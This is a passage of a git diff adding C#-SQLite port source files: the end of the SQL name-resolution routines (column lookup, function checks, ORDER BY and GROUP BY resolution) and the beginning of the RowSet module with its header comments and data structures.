was made to outer contexts, the pNC.nRef + ** fields are not changed in any context. + */ + if ( cnt == 0 && zTab == null && ExprHasProperty( pExpr, EP_DblQuoted ) ) + { + pExpr.op = TK_STRING; + pExpr.pTab = null; + return WRC_Prune; + } + + /* + ** cnt==0 means there was not match. cnt>1 means there were two or + ** more matches. Either way, we have an error. + */ + if ( cnt != 1 ) + { + string zErr; + zErr = cnt == 0 ? "no such column" : "ambiguous column name"; + if ( zDb != null ) + { + sqlite3ErrorMsg( pParse, "%s: %s.%s.%s", zErr, zDb, zTab, zCol ); + } + else if ( zTab != null ) + { + sqlite3ErrorMsg( pParse, "%s: %s.%s", zErr, zTab, zCol ); + } + else + { + sqlite3ErrorMsg( pParse, "%s: %s", zErr, zCol ); + } + pTopNC.nErr++; + } + + /* If a column from a table in pSrcList is referenced, then record + ** this fact in the pSrcList.a[].colUsed bitmask. Column 0 causes + ** bit 0 to be set. Column 1 sets bit 1. And so forth. If the + ** column number is greater than the number of bits in the bitmask + ** then set the high-order bit of the bitmask. + */ + if ( pExpr.iColumn >= 0 && pMatch != null ) + { + int n = pExpr.iColumn; + testcase( n == BMS - 1 ); + if ( n >= BMS ) + { + n = BMS - 1; + } + Debug.Assert( pMatch.iCursor == pExpr.iTable ); + pMatch.colUsed |= ( (Bitmask)1 ) << n; + } + + /* Clean up and return + */ + sqlite3ExprDelete( db, ref pExpr.pLeft ); + pExpr.pLeft = null; + sqlite3ExprDelete( db, ref pExpr.pRight ); + pExpr.pRight = null; + pExpr.op = TK_COLUMN; +lookupname_end: + if ( cnt == 1 ) + { + Debug.Assert( pNC != null ); + sqlite3AuthRead( pParse, pExpr, pSchema, pNC.pSrcList ); + /* Increment the nRef value on all name contexts from TopNC up to + ** the point where the name matched. */ + for ( ; ; ) + { + Debug.Assert( pTopNC != null ); + pTopNC.nRef++; + if ( pTopNC == pNC ) break; + pTopNC = pTopNC.pNext; + } + return WRC_Prune; + } + else + { + return WRC_Abort; + } + } + + /* + ** This routine is callback for sqlite3WalkExpr(). + ** + ** Resolve symbolic names into TK_COLUMN operators for the current + ** node in the expression tree. Return 0 to continue the search down + ** the tree or 2 to abort the tree walk. + ** + ** This routine also does error checking and name resolution for + ** function names. The operator for aggregate functions is changed + ** to TK_AGG_FUNCTION. + */ + static int resolveExprStep( Walker pWalker, ref Expr pExpr ) + { + NameContext pNC; + Parse pParse; + + pNC = pWalker.u.pNC; + Debug.Assert( pNC != null ); + pParse = pNC.pParse; + Debug.Assert( pParse == pWalker.pParse ); + + if ( ExprHasAnyProperty( pExpr, EP_Resolved ) ) return WRC_Prune; + ExprSetProperty( pExpr, EP_Resolved ); +#if !NDEBUG + if ( pNC.pSrcList != null && pNC.pSrcList.nAlloc > 0 ) + { + SrcList pSrcList = pNC.pSrcList; + int i; + for ( i = 0 ; i < pNC.pSrcList.nSrc ; i++ ) + { + Debug.Assert( pSrcList.a[i].iCursor >= 0 && pSrcList.a[i].iCursor < pParse.nTab ); + } + } +#endif + switch ( pExpr.op ) + { + +#if (SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !(SQLITE_OMIT_SUBQUERY) +/* The special operator TK_ROW means use the rowid for the first +** column in the FROM clause. This is used by the LIMIT and ORDER BY +** clause processing on UPDATE and DELETE statements. +*/ +case TK_ROW: { +SrcList pSrcList = pNC.pSrcList; +SrcList_item pItem; +Debug.Assert( pSrcList !=null && pSrcList.nSrc==1 ); +pItem = pSrcList.a[0]; +pExpr.op = TK_COLUMN; +pExpr.pTab = pItem.pTab; +pExpr.iTable = pItem.iCursor; +pExpr.iColumn = -1; +pExpr.affinity = SQLITE_AFF_INTEGER; +break; +} +#endif //* defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !defined(SQLITE_OMIT_SUBQUERY) / + + /* A lone identifier is the name of a column. +*/ + case TK_ID: + { + return lookupName( pParse, null, null, pExpr.u.zToken, pNC, pExpr ); + } + + /* A table name and column name: ID.ID + ** Or a database, table and column: ID.ID.ID + */ + case TK_DOT: + { + string zColumn; + string zTable; + string zDb; + Expr pRight; + + /* if( pSrcList==0 ) break; */ + pRight = pExpr.pRight; + if ( pRight.op == TK_ID ) + { + zDb = null; + zTable = pExpr.pLeft.u.zToken; + zColumn = pRight.u.zToken; + } + else + { + Debug.Assert( pRight.op == TK_DOT ); + zDb = pExpr.pLeft.u.zToken; + zTable = pRight.pLeft.u.zToken; + zColumn = pRight.pRight.u.zToken; + } + return lookupName( pParse, zDb, zTable, zColumn, pNC, pExpr ); + } + + /* Resolve function names + */ + case TK_CONST_FUNC: + case TK_FUNCTION: + { + ExprList pList = pExpr.x.pList; /* The argument list */ + int n = pList != null ? pList.nExpr : 0; /* Number of arguments */ + bool no_such_func = false; /* True if no such function exists */ + bool wrong_num_args = false; /* True if wrong number of arguments */ + bool is_agg = false; /* True if is an aggregate function */ + int auth; /* Authorization to use the function */ + int nId; /* Number of characters in function name */ + string zId; /* The function name. */ + FuncDef pDef; /* Information about the function */ + u8 enc = (u8)pParse.db.aDbStatic[0].pSchema.enc;// ENC( pParse.db ); /* The database encoding */ + + testcase( pExpr.op == TK_CONST_FUNC ); + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + zId = pExpr.u.zToken; + nId = sqlite3Strlen30( zId ); + pDef = sqlite3FindFunction( pParse.db, zId, nId, n, enc, 0 ); + if ( pDef == null ) + { + pDef = sqlite3FindFunction( pParse.db, zId, nId, -1, enc, 0 ); + if ( pDef == null ) + { + no_such_func = true; + } + else + { + wrong_num_args = true; + } + } + else + { + is_agg = pDef.xFunc == null; + } +#if !SQLITE_OMIT_AUTHORIZATION +if( pDef ){ +auth = sqlite3AuthCheck(pParse, SQLITE_FUNCTION, 0, pDef.zName, 0); +if( auth!=SQLITE_OK ){ +if( auth==SQLITE_DENY ){ +sqlite3ErrorMsg(pParse, "not authorized to use function: %s", +pDef.zName); +pNC.nErr++; +} +pExpr.op = TK_NULL; +return WRC_Prune; +} +} +#endif + if ( is_agg && 0 == pNC.allowAgg ) + { + sqlite3ErrorMsg( pParse, "misuse of aggregate function %.*s()", nId, zId ); + pNC.nErr++; + is_agg = false; + } + else if ( no_such_func ) + { + sqlite3ErrorMsg( pParse, "no such function: %.*s", nId, zId ); + pNC.nErr++; + } + else if ( wrong_num_args ) + { + sqlite3ErrorMsg( pParse, "wrong number of arguments to function %.*s()", + nId, zId ); + pNC.nErr++; + } + if ( is_agg ) + { + pExpr.op = TK_AGG_FUNCTION; + pNC.hasAgg = 1; + } + if ( is_agg ) pNC.allowAgg = 0; + sqlite3WalkExprList( pWalker, pList ); + if ( is_agg ) pNC.allowAgg = 1; + /* FIX ME: Compute pExpr.affinity based on the expected return + ** type of the function + */ + return WRC_Prune; + } +#if !SQLITE_OMIT_SUBQUERY + case TK_SELECT: + case TK_EXISTS: + { + testcase( pExpr.op == TK_EXISTS ); + goto case TK_IN; + } +#endif + case TK_IN: + { + testcase( pExpr.op == TK_IN ); + if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + int nRef = pNC.nRef; +#if !SQLITE_OMIT_CHECK + if ( pNC.isCheck != 0 ) + { + sqlite3ErrorMsg( pParse, "subqueries prohibited in CHECK constraints" ); + } +#endif + sqlite3WalkSelect( pWalker, pExpr.x.pSelect ); + Debug.Assert( pNC.nRef >= nRef ); + if ( nRef != pNC.nRef ) + { + ExprSetProperty( pExpr, EP_VarSelect ); + } + } + break; + } +#if !SQLITE_OMIT_CHECK + case TK_VARIABLE: + { + if ( pNC.isCheck != 0 ) + { + sqlite3ErrorMsg( pParse, "parameters prohibited in CHECK constraints" ); + } + break; + } +#endif + } + return ( pParse.nErr != 0 /* || pParse.db.mallocFailed != 0 */ ) ? WRC_Abort : WRC_Continue; + } + + /* + ** pEList is a list of expressions which are really the result set of the + ** a SELECT statement. pE is a term in an ORDER BY or GROUP BY clause. + ** This routine checks to see if pE is a simple identifier which corresponds + ** to the AS-name of one of the terms of the expression list. If it is, + ** this routine return an integer between 1 and N where N is the number of + ** elements in pEList, corresponding to the matching entry. If there is + ** no match, or if pE is not a simple identifier, then this routine + ** return 0. + ** + ** pEList has been resolved. pE has not. + */ + static int resolveAsName( + Parse pParse, /* Parsing context for error messages */ + ExprList pEList, /* List of expressions to scan */ + Expr pE /* Expression we are trying to match */ + ) + { + int i; /* Loop counter */ + + UNUSED_PARAMETER( pParse ); + + if ( pE.op == TK_ID ) + { + string zCol = pE.u.zToken; + + for ( i = 0 ; i < pEList.nExpr ; i++ ) + { + string zAs = pEList.a[i].zName; + if ( zAs != null && sqlite3StrICmp( zAs, zCol ) == 0 ) + { + return i + 1; + } + } + } + return 0; + } + + /* + ** pE is a pointer to an expression which is a single term in the + ** ORDER BY of a compound SELECT. The expression has not been + ** name resolved. + ** + ** At the point this routine is called, we already know that the + ** ORDER BY term is not an integer index into the result set. That + ** case is handled by the calling routine. + ** + ** Attempt to match pE against result set columns in the left-most + ** SELECT statement. Return the index i of the matching column, + ** as an indication to the caller that it should sort by the i-th column. + ** The left-most column is 1. In other words, the value returned is the + ** same integer value that would be used in the SQL statement to indicate + ** the column. + ** + ** If there is no match, return 0. Return -1 if an error occurs. + */ + static int resolveOrderByTermToExprList( + Parse pParse, /* Parsing context for error messages */ + Select pSelect, /* The SELECT statement with the ORDER BY clause */ + Expr pE /* The specific ORDER BY term */ + ) + { + int i = 0; /* Loop counter */ + ExprList pEList; /* The columns of the result set */ + NameContext nc; /* Name context for resolving pE */ + + Debug.Assert( sqlite3ExprIsInteger( pE, ref i ) == 0 ); + pEList = pSelect.pEList; + + /* Resolve all names in the ORDER BY term expression + */ + nc = new NameContext();// memset( &nc, 0, sizeof( nc ) ); + nc.pParse = pParse; + nc.pSrcList = pSelect.pSrc; + nc.pEList = pEList; + nc.allowAgg = 1; + nc.nErr = 0; + if ( sqlite3ResolveExprNames( nc, ref pE ) != 0 ) + { + sqlite3ErrorClear( pParse ); + return 0; + } + + /* Try to match the ORDER BY expression against an expression + ** in the result set. Return an 1-based index of the matching + ** result-set entry. + */ + for ( i = 0 ; i < pEList.nExpr ; i++ ) + { + if ( sqlite3ExprCompare( pEList.a[i].pExpr, pE ) ) + { + return i + 1; + } + } + + /* If no match, return 0. */ + return 0; + } + + /* + ** Generate an ORDER BY or GROUP BY term out-of-range error. + */ + static void resolveOutOfRangeError( + Parse pParse, /* The error context into which to write the error */ + string zType, /* "ORDER" or "GROUP" */ + int i, /* The index (1-based) of the term out of range */ + int mx /* Largest permissible value of i */ + ) + { + sqlite3ErrorMsg( pParse, + "%r %s BY term out of range - should be " + + "between 1 and %d", i, zType, mx ); + } + + /* + ** Analyze the ORDER BY clause in a compound SELECT statement. Modify + ** each term of the ORDER BY clause is a constant integer between 1 + ** and N where N is the number of columns in the compound SELECT. + ** + ** ORDER BY terms that are already an integer between 1 and N are + ** unmodified. ORDER BY terms that are integers outside the range of + ** 1 through N generate an error. ORDER BY terms that are expressions + ** are matched against result set expressions of compound SELECT + ** beginning with the left-most SELECT and working toward the right. + ** At the first match, the ORDER BY expression is transformed into + ** the integer column number. + ** + ** Return the number of errors seen. + */ + static int resolveCompoundOrderBy( + Parse pParse, /* Parsing context. Leave error messages here */ + Select pSelect /* The SELECT statement containing the ORDER BY */ + ) + { + int i; + ExprList pOrderBy; + ExprList pEList; + sqlite3 db; + int moreToDo = 1; + + pOrderBy = pSelect.pOrderBy; + if ( pOrderBy == null ) return 0; + db = pParse.db; +#if SQLITE_MAX_COLUMN +if( pOrderBy.nExpr>db.aLimit[SQLITE_LIMIT_COLUMN] ){ +sqlite3ErrorMsg(pParse, "too many terms in ORDER BY clause"); +return 1; +} +#endif + for ( i = 0 ; i < pOrderBy.nExpr ; i++ ) + { + pOrderBy.a[i].done = 0; + } + pSelect.pNext = null; + while ( pSelect.pPrior != null ) + { + pSelect.pPrior.pNext = pSelect; + pSelect = pSelect.pPrior; + } + while ( pSelect != null && moreToDo != 0 ) + { + ExprList_item pItem; + moreToDo = 0; + pEList = pSelect.pEList; + Debug.Assert( pEList != null ); + for ( i = 0 ; i < pOrderBy.nExpr ; i++ )//, pItem++) + { + pItem = pOrderBy.a[i]; + int iCol = -1; + Expr pE, pDup; + if ( pItem.done != 0 ) continue; + pE = pItem.pExpr; + if ( sqlite3ExprIsInteger( pE, ref iCol ) != 0 ) + { + if ( iCol <= 0 || iCol > pEList.nExpr ) + { + resolveOutOfRangeError( pParse, "ORDER", i + 1, pEList.nExpr ); + return 1; + } + } + else + { + iCol = resolveAsName( pParse, pEList, pE ); + if ( iCol == 0 ) + { + pDup = sqlite3ExprDup( db, pE, 0 ); + ////if ( 0 == db.mallocFailed ) + { + Debug.Assert( pDup != null ); + iCol = resolveOrderByTermToExprList( pParse, pSelect, pDup ); + } + sqlite3ExprDelete( db, ref pDup ); + } + } + if ( iCol > 0 ) + { + CollSeq pColl = pE.pColl; + int flags = pE.flags & EP_ExpCollate; + sqlite3ExprDelete( db, ref pE ); + pItem.pExpr = pE = sqlite3Expr( db, TK_INTEGER, null ); + if ( pE == null ) return 1; + pE.pColl = pColl; + pE.flags = (u16)( pE.flags | EP_IntValue | flags ); + pE.u.iValue = iCol; + pItem.iCol = (u16)iCol; + pItem.done = 1; + } + else + { + moreToDo = 1; + } + } + pSelect = pSelect.pNext; + } + for ( i = 0 ; i < pOrderBy.nExpr ; i++ ) + { + if ( pOrderBy.a[i].done == 0 ) + { + sqlite3ErrorMsg( pParse, "%r ORDER BY term does not match any " + + "column in the result set", i + 1 ); + return 1; + } + } + return 0; + } + + /* + ** Check every term in the ORDER BY or GROUP BY clause pOrderBy of + ** the SELECT statement pSelect. If any term is reference to a + ** result set expression (as determined by the ExprList.a.iCol field) + ** then convert that term into a copy of the corresponding result set + ** column. + ** + ** If any errors are detected, add an error message to pParse and + ** return non-zero. Return zero if no errors are seen. + */ + static int sqlite3ResolveOrderGroupBy( + Parse pParse, /* Parsing context. Leave error messages here */ + Select pSelect, /* The SELECT statement containing the clause */ + ExprList pOrderBy, /* The ORDER BY or GROUP BY clause to be processed */ + string zType /* "ORDER" or "GROUP" */ + ) + { + int i; + sqlite3 db = pParse.db; + ExprList pEList; + ExprList_item pItem; + + if ( pOrderBy == null /* || pParse.db.mallocFailed != 0 */ ) return 0; +#if SQLITE_MAX_COLUMN +if( pOrderBy.nExpr>db.aLimit[SQLITE_LIMIT_COLUMN] ){ +sqlite3ErrorMsg(pParse, "too many terms in %s BY clause", zType); +return 1; +} +#endif + pEList = pSelect.pEList; + Debug.Assert( pEList != null ); /* sqlite3SelectNew() guarantees this */ + for ( i = 0 ; i < pOrderBy.nExpr ; i++ )//, pItem++) + { + pItem = pOrderBy.a[i]; + if ( pItem.iCol != 0 ) + { + if ( pItem.iCol > pEList.nExpr ) + { + resolveOutOfRangeError( pParse, zType, i + 1, pEList.nExpr ); + return 1; + } + resolveAlias( pParse, pEList, pItem.iCol - 1, pItem.pExpr, zType ); + } + } + return 0; + } + + /* + ** pOrderBy is an ORDER BY or GROUP BY clause in SELECT statement pSelect. + ** The Name context of the SELECT statement is pNC. zType is either + ** "ORDER" or "GROUP" depending on which type of clause pOrderBy is. + ** + ** This routine resolves each term of the clause into an expression. + ** If the order-by term is an integer I between 1 and N (where N is the + ** number of columns in the result set of the SELECT) then the expression + ** in the resolution is a copy of the I-th result-set expression. If + ** the order-by term is an identify that corresponds to the AS-name of + ** a result-set expression, then the term resolves to a copy of the + ** result-set expression. Otherwise, the expression is resolved in + ** the usual way - using sqlite3ResolveExprNames(). + ** + ** This routine returns the number of errors. If errors occur, then + ** an appropriate error message might be left in pParse. (OOM errors + ** excepted.) + */ + static int resolveOrderGroupBy( + NameContext pNC, /* The name context of the SELECT statement */ + Select pSelect, /* The SELECT statement holding pOrderBy */ + ExprList pOrderBy, /* An ORDER BY or GROUP BY clause to resolve */ + string zType /* Either "ORDER" or "GROUP", as appropriate */ + ) + { + int i; /* Loop counter */ + int iCol; /* Column number */ + ExprList_item pItem; /* A term of the ORDER BY clause */ + Parse pParse; /* Parsing context */ + int nResult; /* Number of terms in the result set */ + + if ( pOrderBy == null ) return 0; + nResult = pSelect.pEList.nExpr; + pParse = pNC.pParse; + for ( i = 0 ; i < pOrderBy.nExpr ; i++ )//, pItem++ ) + { + pItem = pOrderBy.a[i]; + Expr pE = pItem.pExpr; + iCol = resolveAsName( pParse, pSelect.pEList, pE ); + if ( iCol > 0 ) + { + /* If an AS-name match is found, mark this ORDER BY column as being + ** a copy of the iCol-th result-set column. The subsequent call to + ** sqlite3ResolveOrderGroupBy() will convert the expression to a + ** copy of the iCol-th result-set expression. */ + pItem.iCol = (u16)iCol; + continue; + } + if ( sqlite3ExprIsInteger( pE, ref iCol ) != 0 ) + { + /* The ORDER BY term is an integer constant. Again, set the column + ** number so that sqlite3ResolveOrderGroupBy() will convert the + ** order-by term to a copy of the result-set expression */ + if ( iCol < 1 ) + { + resolveOutOfRangeError( pParse, zType, i + 1, nResult ); + return 1; + } + pItem.iCol = (u16)iCol; + continue; + } + + /* Otherwise, treat the ORDER BY term as an ordinary expression */ + pItem.iCol = 0; + if ( sqlite3ResolveExprNames( pNC, ref pE ) != 0 ) + { + return 1; + } + } + return sqlite3ResolveOrderGroupBy( pParse, pSelect, pOrderBy, zType ); + } + + /* + ** Resolve names in the SELECT statement p and all of its descendents. + */ + static int resolveSelectStep( Walker pWalker, Select p ) + { + NameContext pOuterNC; /* Context that contains this SELECT */ + NameContext sNC; /* Name context of this SELECT */ + bool isCompound; /* True if p is a compound select */ + int nCompound; /* Number of compound terms processed so far */ + Parse pParse; /* Parsing context */ + ExprList pEList; /* Result set expression list */ + int i; /* Loop counter */ + ExprList pGroupBy; /* The GROUP BY clause */ + Select pLeftmost; /* Left-most of SELECT of a compound */ + sqlite3 db; /* Database connection */ + + + Debug.Assert( p != null ); + if ( ( p.selFlags & SF_Resolved ) != 0 ) + { + return WRC_Prune; + } + pOuterNC = pWalker.u.pNC; + pParse = pWalker.pParse; + db = pParse.db; + + /* Normally sqlite3SelectExpand() will be called first and will have + ** already expanded this SELECT. However, if this is a subquery within + ** an expression, sqlite3ResolveExprNames() will be called without a + ** prior call to sqlite3SelectExpand(). When that happens, let + ** sqlite3SelectPrep() do all of the processing for this SELECT. + ** sqlite3SelectPrep() will invoke both sqlite3SelectExpand() and + ** this routine in the correct order. + */ + if ( ( p.selFlags & SF_Expanded ) == 0 ) + { + sqlite3SelectPrep( pParse, p, pOuterNC ); + return ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) ? WRC_Abort : WRC_Prune; + } + + isCompound = p.pPrior != null; + nCompound = 0; + pLeftmost = p; + while ( p != null ) + { + Debug.Assert( ( p.selFlags & SF_Expanded ) != 0 ); + Debug.Assert( ( p.selFlags & SF_Resolved ) == 0 ); + p.selFlags |= SF_Resolved; + + /* Resolve the expressions in the LIMIT and OFFSET clauses. These + ** are not allowed to refer to any names, so pass an empty NameContext. + */ + sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) ); + sNC.pParse = pParse; + if ( sqlite3ResolveExprNames( sNC, ref p.pLimit ) != 0 || + sqlite3ResolveExprNames( sNC, ref p.pOffset ) != 0 ) + { + return WRC_Abort; + } + + /* Set up the local name-context to pass to sqlite3ResolveExprNames() to + ** resolve the result-set expression list. + */ + sNC.allowAgg = 1; + sNC.pSrcList = p.pSrc; + sNC.pNext = pOuterNC; + + /* Resolve names in the result set. */ + pEList = p.pEList; + Debug.Assert( pEList != null ); + for ( i = 0 ; i < pEList.nExpr ; i++ ) + { + Expr pX = pEList.a[i].pExpr; + if ( sqlite3ResolveExprNames( sNC, ref pX ) != 0 ) + { + return WRC_Abort; + } + } + + /* Recursively resolve names in all subqueries + */ + for ( i = 0 ; i < p.pSrc.nSrc ; i++ ) + { + SrcList_item pItem = p.pSrc.a[i]; + if ( pItem.pSelect != null ) + { + string zSavedContext = pParse.zAuthContext; + if ( pItem.zName != null ) pParse.zAuthContext = pItem.zName; + sqlite3ResolveSelectNames( pParse, pItem.pSelect, pOuterNC ); + pParse.zAuthContext = zSavedContext; + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return WRC_Abort; + } + } + + /* If there are no aggregate functions in the result-set, and no GROUP BY + ** expression, do not allow aggregates in any of the other expressions. + */ + Debug.Assert( ( p.selFlags & SF_Aggregate ) == 0 ); + pGroupBy = p.pGroupBy; + if ( pGroupBy != null || sNC.hasAgg != 0 ) + { + p.selFlags |= SF_Aggregate; + } + else + { + sNC.allowAgg = 0; + } + + /* If a HAVING clause is present, then there must be a GROUP BY clause. + */ + if ( p.pHaving != null && pGroupBy == null ) + { + sqlite3ErrorMsg( pParse, "a GROUP BY clause is required before HAVING" ); + return WRC_Abort; + } + + /* Add the expression list to the name-context before parsing the + ** other expressions in the SELECT statement. This is so that + ** expressions in the WHERE clause (etc.) can refer to expressions by + ** aliases in the result set. + ** + ** Minor point: If this is the case, then the expression will be + ** re-evaluated for each reference to it. + */ + sNC.pEList = p.pEList; + if ( sqlite3ResolveExprNames( sNC, ref p.pWhere ) != 0 || + sqlite3ResolveExprNames( sNC, ref p.pHaving ) != 0 + ) + { + return WRC_Abort; + } + + /* The ORDER BY and GROUP BY clauses may not refer to terms in + ** outer queries + */ + sNC.pNext = null; + sNC.allowAgg = 1; + + /* Process the ORDER BY clause for singleton SELECT statements. + ** The ORDER BY clause for compounds SELECT statements is handled + ** below, after all of the result-sets for all of the elements of + ** the compound have been resolved. + */ + if ( !isCompound && resolveOrderGroupBy( sNC, p, p.pOrderBy, "ORDER" ) != 0 ) + { + return WRC_Abort; + } + //if ( db.mallocFailed != 0 ) + //{ + // return WRC_Abort; + //} + + /* Resolve the GROUP BY clause. At the same time, make sure + ** the GROUP BY clause does not contain aggregate functions. + */ + if ( pGroupBy != null ) + { + ExprList_item pItem; + + if ( resolveOrderGroupBy( sNC, p, pGroupBy, "GROUP" ) != 0 /*|| db.mallocFailed != 0 */ ) + { + return WRC_Abort; + } + for ( i = 0 ; i < pGroupBy.nExpr ; i++ )//, pItem++) + { + pItem = pGroupBy.a[i]; + if ( ( pItem.pExpr.flags & EP_Agg ) != 0 )//HasProperty(pItem.pExpr, EP_Agg) ) + { + sqlite3ErrorMsg( pParse, "aggregate functions are not allowed in " + + "the GROUP BY clause" ); + return WRC_Abort; + } + } + } + + /* Advance to the next term of the compound + */ + p = p.pPrior; + nCompound++; + } + + /* Resolve the ORDER BY on a compound SELECT after all terms of + ** the compound have been resolved. + */ + if ( isCompound && resolveCompoundOrderBy( pParse, pLeftmost ) != 0 ) + { + return WRC_Abort; + } + + return WRC_Prune; + } + + /* + ** This routine walks an expression tree and resolves references to + ** table columns and result-set columns. At the same time, do error + ** checking on function usage and set a flag if any aggregate functions + ** are seen. + ** + ** To resolve table columns references we look for nodes (or subtrees) of the + ** form X.Y.Z or Y.Z or just Z where + ** + ** X: The name of a database. Ex: "main" or "temp" or + ** the symbolic name assigned to an ATTACH-ed database. + ** + ** Y: The name of a table in a FROM clause. Or in a trigger + ** one of the special names "old" or "new". + ** + ** Z: The name of a column in table Y. + ** + ** The node at the root of the subtree is modified as follows: + ** + ** Expr.op Changed to TK_COLUMN + ** Expr.pTab Points to the Table object for X.Y + ** Expr.iColumn The column index in X.Y. -1 for the rowid. + ** Expr.iTable The VDBE cursor number for X.Y + ** + ** + ** To resolve result-set references, look for expression nodes of the + ** form Z (with no X and Y prefix) where the Z matches the right-hand + ** size of an AS clause in the result-set of a SELECT. The Z expression + ** is replaced by a copy of the left-hand side of the result-set expression. + ** Table-name and function resolution occurs on the substituted expression + ** tree. For example, in: + ** + ** SELECT a+b AS x, c+d AS y FROM t1 ORDER BY x; + ** + ** The "x" term of the order by is replaced by "a+b" to render: + ** + ** SELECT a+b AS x, c+d AS y FROM t1 ORDER BY a+b; + ** + ** Function calls are checked to make sure that the function is + ** defined and that the correct number of arguments are specified. + ** If the function is an aggregate function, then the pNC.hasAgg is + ** set and the opcode is changed from TK_FUNCTION to TK_AGG_FUNCTION. + ** If an expression contains aggregate functions then the EP_Agg + ** property on the expression is set. + ** + ** An error message is left in pParse if anything is amiss. The number + ** if errors is returned. + */ + static int sqlite3ResolveExprNames( + NameContext pNC, /* Namespace to resolve expressions in. */ + ref Expr pExpr /* The expression to be analyzed. */ + ) + { + u8 savedHasAgg; + Walker w = new Walker(); + + if ( pExpr == null ) return 0; +#if SQLITE_MAX_EXPR_DEPTH//>0 +{ +Parse pParse = pNC.pParse; +if( sqlite3ExprCheckHeight(pParse, pExpr.nHeight+pNC.pParse.nHeight) ){ +return 1; +} +pParse.nHeight += pExpr.nHeight; +} +#endif + savedHasAgg = pNC.hasAgg; + pNC.hasAgg = 0; + w.xExprCallback = resolveExprStep; + w.xSelectCallback = resolveSelectStep; + w.pParse = pNC.pParse; + w.u.pNC = pNC; + sqlite3WalkExpr( w, ref pExpr ); +#if SQLITE_MAX_EXPR_DEPTH//>0 +pNC.pParse.nHeight -= pExpr.nHeight; +#endif + if ( pNC.nErr > 0 || w.pParse.nErr > 0 ) + { + ExprSetProperty( pExpr, EP_Error ); + } + if ( pNC.hasAgg != 0 ) + { + ExprSetProperty( pExpr, EP_Agg ); + } + else if ( savedHasAgg != 0 ) + { + pNC.hasAgg = 1; + } + return ExprHasProperty( pExpr, EP_Error ) ? 1 : 0; + } + + + /* + ** Resolve all names in all expressions of a SELECT and in all + ** decendents of the SELECT, including compounds off of p.pPrior, + ** subqueries in expressions, and subqueries used as FROM clause + ** terms. + ** + ** See sqlite3ResolveExprNames() for a description of the kinds of + ** transformations that occur. + ** + ** All SELECT statements should have been expanded using + ** sqlite3SelectExpand() prior to invoking this routine. + */ + static void sqlite3ResolveSelectNames( + Parse pParse, /* The parser context */ + Select p, /* The SELECT statement being coded. */ + NameContext pOuterNC /* Name context for parent SELECT statement */ + ) + { + Walker w = new Walker(); + + Debug.Assert( p != null ); + w.xExprCallback = resolveExprStep; + w.xSelectCallback = resolveSelectStep; + w.pParse = pParse; + w.u.pNC = pOuterNC; + sqlite3WalkSelect( w, p ); + } + } +} diff --git a/SQLite/src/rowset_c.cs b/SQLite/src/rowset_c.cs new file mode 100644 index 0000000..668ba32 --- /dev/null +++ b/SQLite/src/rowset_c.cs @@ -0,0 +1,521 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + using sqlite3_int64 = System.Int64; + + public partial class CSSQLite + { + /* + ** 2008 December 3 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This module implements an object we call a "RowSet". + ** + ** The RowSet object is a collection of rowids. Rowids + ** are inserted into the RowSet in an arbitrary order. Inserts + ** can be intermixed with tests to see if a given rowid has been + ** previously inserted into the RowSet. + ** + ** After all inserts are finished, it is possible to extract the + ** elements of the RowSet in sorted order. Once this extraction + ** process has started, no new elements may be inserted. + ** + ** Hence, the primitive operations for a RowSet are: + ** + ** CREATE + ** INSERT + ** TEST + ** SMALLEST + ** DESTROY + ** + ** The CREATE and DESTROY primitives are the constructor and destructor, + ** obviously. The INSERT primitive adds a new element to the RowSet. + ** TEST checks to see if an element is already in the RowSet. SMALLEST + ** extracts the least value from the RowSet. + ** + ** The INSERT primitive might allocate additional memory. Memory is + ** allocated in chunks so most INSERTs do no allocation. There is an + ** upper bound on the size of allocated memory. No memory is freed + ** until DESTROY. + ** + ** The TEST primitive includes a "batch" number. The TEST primitive + ** will only see elements that were inserted before the last change + ** in the batch number. In other words, if an INSERT occurs between + ** two TESTs where the TESTs have the same batch nubmer, then the + ** value added by the INSERT will not be visible to the second TEST. + ** The initial batch number is zero, so if the very first TEST contains + ** a non-zero batch number, it will see all prior INSERTs. + ** + ** No INSERTs may occurs after a SMALLEST. An assertion will fail if + ** that is attempted. + ** + ** The cost of an INSERT is roughly constant. (Sometime new memory + ** has to be allocated on an INSERT.) The cost of a TEST with a new + ** batch number is O(NlogN) where N is the number of elements in the RowSet. + ** The cost of a TEST using the same batch number is O(logN). The cost + ** of the first SMALLEST is O(NlogN). Second and subsequent SMALLEST + ** primitives are constant time. The cost of DESTROY is O(N). + ** + ** There is an added cost of O(N) when switching between TEST and + ** SMALLEST primitives. + ** + ** + ** $Id: rowset.c,v 1.7 2009/05/22 01:00:13 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Target size for allocation chunks. + */ + //#define ROWSET_ALLOCATION_SIZE 1024 + const int ROWSET_ALLOCATION_SIZE = 1024; + /* + ** The number of rowset entries per allocation chunk. + */ + //#define ROWSET_ENTRY_PER_CHUNK \ + // ((ROWSET_ALLOCATION_SIZE-8)/sizeof(struct RowSetEntry)) + const int ROWSET_ENTRY_PER_CHUNK = 63; + + /* + ** Each entry in a RowSet is an instance of the following object. + */ + public class RowSetEntry + { + public i64 v; /* ROWID value for this entry */ + public RowSetEntry pRight; /* Right subtree (larger entries) or list */ + public RowSetEntry pLeft; /* Left subtree (smaller entries) */ + }; + + /* + ** Index entries are allocated in large chunks (instances of the + ** following structure) to reduce memory allocation overhead. The + ** chunks are kept on a linked list so that they can be deallocated + ** when the RowSet is destroyed. + */ + public class RowSetChunk + { + public RowSetChunk pNextChunk; /* Next chunk on list of them all */ + public RowSetEntry[] aEntry = new RowSetEntry[ROWSET_ENTRY_PER_CHUNK]; /* Allocated 